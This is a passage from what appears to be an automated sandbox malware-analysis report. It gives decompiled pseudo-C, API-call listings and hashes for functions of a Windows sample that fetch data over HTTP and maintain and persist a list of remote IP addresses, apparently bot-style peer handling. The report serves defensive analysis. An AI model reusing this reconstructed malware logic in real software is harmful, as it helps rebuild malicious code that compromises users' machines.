                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040C30A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C354
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C361
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$GET
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1205665004-427699995
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 39a8e37caa5185a3eb3a08cb953c60fa8a91e689940cf5f043a44b8b34c23c65
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F1512C71911228ABDB36CB50CC95BE9737CBB44705F0481E9B60DAA2C0D7B96BC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409920 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409920(signed int _a4, intOrPtr _a8, signed char _a12) {
				signed char _v5;
				signed int _v12;
				signed char _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				signed int _t57;
				void* _t65;
				char* _t68;
				char* _t72;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409660(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004093D0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004093D0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x4156ac);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								_t55 = _v12;
								if(_v12 >=  *0x4156e4) {
									break;
								}
								if( *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v12 * 4)) + 4)) != _a4) {
									_v12 = _v12 + 1;
									continue;
								}
								_t65 = E0040BD50();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409870(_t55);
							_t57 = _v5 & 0x000000ff;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x4156ac);
								return _t57;
							}
							_v13 = 0;
							if( *0x4156e4 == 0x200) {
								_v13 = 1;
							}
							_t57 = E004089F0(0xc);
							_v20 = _t57;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BD50() - _a8;
								if((_v13 & 0x000000ff) == 0) {
									_t60 = _v20;
									 *((intOrPtr*)(0x4156e8 +  *0x4156e4 * 4)) = _v20;
									 *0x4156e4 =  *0x4156e4 + 1;
									L25:
									_t57 = E00409870(_t60);
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409550(_t57);
									}
									goto L27;
								}
								while( *(0x4156e4[ *0x4156e4]) != 0) {
									Sleep(1);
								}
								 *(0x4156e4[ *0x4156e4]) = 1;
								E00408B60(0x4156e4[ *0x4156e4]);
								_t60 =  *0x4156e4;
								0x4156e4[ *0x4156e4] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004093D0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004093D0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004093D0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004093D0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x0040992a
                                                                                                                                                                                                                                                                                                                                                      0x0040992f
                                                                                                                                                                                                                                                                                                                                                      0x00409932
                                                                                                                                                                                                                                                                                                                                                      0x00409937
                                                                                                                                                                                                                                                                                                                                                      0x00409950
                                                                                                                                                                                                                                                                                                                                                      0x00409955
                                                                                                                                                                                                                                                                                                                                                      0x0040995a
                                                                                                                                                                                                                                                                                                                                                      0x0040999d
                                                                                                                                                                                                                                                                                                                                                      0x004099af
                                                                                                                                                                                                                                                                                                                                                      0x004099b4
                                                                                                                                                                                                                                                                                                                                                      0x004099b9
                                                                                                                                                                                                                                                                                                                                                      0x004099fc
                                                                                                                                                                                                                                                                                                                                                      0x00409a01
                                                                                                                                                                                                                                                                                                                                                      0x00409a07
                                                                                                                                                                                                                                                                                                                                                      0x00409a0b
                                                                                                                                                                                                                                                                                                                                                      0x00409a1d
                                                                                                                                                                                                                                                                                                                                                      0x00409a1d
                                                                                                                                                                                                                                                                                                                                                      0x00409a26
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a38
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3f
                                                                                                                                                                                                                                                                                                                                                      0x00409a4c
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00409a57
                                                                                                                                                                                                                                                                                                                                                      0x00409a5c
                                                                                                                                                                                                                                                                                                                                                      0x00409a62
                                                                                                                                                                                                                                                                                                                                                      0x00409b38
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00409a68
                                                                                                                                                                                                                                                                                                                                                      0x00409a76
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a7e
                                                                                                                                                                                                                                                                                                                                                      0x00409a86
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a93
                                                                                                                                                                                                                                                                                                                                                      0x00409a99
                                                                                                                                                                                                                                                                                                                                                      0x00409aa7
                                                                                                                                                                                                                                                                                                                                                      0x00409ab0
                                                                                                                                                                                                                                                                                                                                                      0x00409b0d
                                                                                                                                                                                                                                                                                                                                                      0x00409b10
                                                                                                                                                                                                                                                                                                                                                      0x00409b20
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b31
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409b31
                                                                                                                                                                                                                                                                                                                                                      0x00409ab2
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409ada
                                                                                                                                                                                                                                                                                                                                                      0x00409aee
                                                                                                                                                                                                                                                                                                                                                      0x00409af6
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x004099cd
                                                                                                                                                                                                                                                                                                                                                      0x004099d2
                                                                                                                                                                                                                                                                                                                                                      0x004099d7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099eb
                                                                                                                                                                                                                                                                                                                                                      0x004099f0
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x0040996e
                                                                                                                                                                                                                                                                                                                                                      0x00409973
                                                                                                                                                                                                                                                                                                                                                      0x00409978
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040997f
                                                                                                                                                                                                                                                                                                                                                      0x0040998c
                                                                                                                                                                                                                                                                                                                                                      0x00409991
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostname.WS2_32(?,00000100), ref: 0040967C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostbyname.WS2_32(?), ref: 0040968E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 00409950
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040996E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040998C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: strstr$gethostbynamegethostname
                                                                                                                                                                                                                                                                                                                                                      • String ID: .10$.10.$.127$.127.$10.$127.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2540993189-3303897403
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5544813b51a4410ae558c1aef5a0e6fe16a06189b37a05ddfc82d72977345a76
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 658aa9150d0c7f202bb3345ef87198443445dd4adc116730250c2e9abde66c2d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5544813b51a4410ae558c1aef5a0e6fe16a06189b37a05ddfc82d72977345a76
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6751A3B4A00244DBDB00EF65E841BDE7775AB54305F14803BE909AB3C3E679EE50CA9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BB80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 95threadsleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 80%
                                                                                                                                                                                                                                                                                                                                                      			E0040BB80(LONG* _a4, intOrPtr _a8) {
				char _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				_t39 =  &_v8; // 0x40eb74
				SetThreadPriority(GetCurrentThread(),  *_t39);
				return _v12;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040bb93
                                                                                                                                                                                                                                                                                                                                                      0x0040bb9f
                                                                                                                                                                                                                                                                                                                                                      0x0040bba5
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bbd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbe9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbf7
                                                                                                                                                                                                                                                                                                                                                      0x0040bbfd
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc26
                                                                                                                                                                                                                                                                                                                                                      0x0040bc42
                                                                                                                                                                                                                                                                                                                                                      0x0040bc4a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc52
                                                                                                                                                                                                                                                                                                                                                      0x0040bc28
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc82
                                                                                                                                                                                                                                                                                                                                                      0x0040bc85
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bca4
                                                                                                                                                                                                                                                                                                                                                      0x0040bcb0

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB86
                                                                                                                                                                                                                                                                                                                                                      • GetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB8D
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB98
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB9F
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BBC2
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(000000FB), ref: 0040BBF7
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BC42
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BC5E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040BC8E
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BC9D
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF), ref: 0040BCA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3862671961-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cf565aa7011320953ed0e497de7cdfd2dc7c337fcc3144a9e6e6e2bed3c7c21c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2412F74D04209EFEB14CFA4D848BAEBB75FF44305F10C16AE915A7380DB799A81CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409C30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409C30() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				void* _t74;

				InitializeCriticalSection(0x4156ac);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409920( *((intOrPtr*)(0x4133b8 + _v12 * 4)), E0040BD50(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x4154a0, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409920( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BD50() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409640();
				return E0040BA90( *0x4156c8, 0, E00409510, 0, 0, 0);
			}











                                                                                                                                                                                                                                                                                                                                                      0x00409c3b
                                                                                                                                                                                                                                                                                                                                                      0x00409c41
                                                                                                                                                                                                                                                                                                                                                      0x00409c53
                                                                                                                                                                                                                                                                                                                                                      0x00409c6f
                                                                                                                                                                                                                                                                                                                                                      0x00409c74
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c93
                                                                                                                                                                                                                                                                                                                                                      0x00409c9a
                                                                                                                                                                                                                                                                                                                                                      0x00409cb4
                                                                                                                                                                                                                                                                                                                                                      0x00409cbb
                                                                                                                                                                                                                                                                                                                                                      0x00409cd3
                                                                                                                                                                                                                                                                                                                                                      0x00409cda
                                                                                                                                                                                                                                                                                                                                                      0x00409ce8
                                                                                                                                                                                                                                                                                                                                                      0x00409ceb
                                                                                                                                                                                                                                                                                                                                                      0x00409cf2
                                                                                                                                                                                                                                                                                                                                                      0x00409d0d
                                                                                                                                                                                                                                                                                                                                                      0x00409d3a
                                                                                                                                                                                                                                                                                                                                                      0x00409d3f
                                                                                                                                                                                                                                                                                                                                                      0x00409d01
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d62
                                                                                                                                                                                                                                                                                                                                                      0x00409d85

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(004156AC,?,?,?,?,?,?,00406455), ref: 00409C3B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(004154A0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409C8D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409CAE
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409CCD
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 00409CE2
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00409D48
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00409D52
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00409D5C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID: Ud@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 439099756-3799767674
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2ca39b87c67915cb13d83b43b208480421a19677a3901e2bda0712843c7ec148
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8001fb0da6053d82c2bd70dd49f35a469f674b8f2be2b54337d57924dfd06c85
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2ca39b87c67915cb13d83b43b208480421a19677a3901e2bda0712843c7ec148
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B9414E74E40208FBDB10DBA4DC4AFAEB770AB44704F208469E6117A2C2C7B96941CB9C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D0C0 Relevance: 15.1, APIs: 10, Instructions: 145fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                                                                      			E0040D0C0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
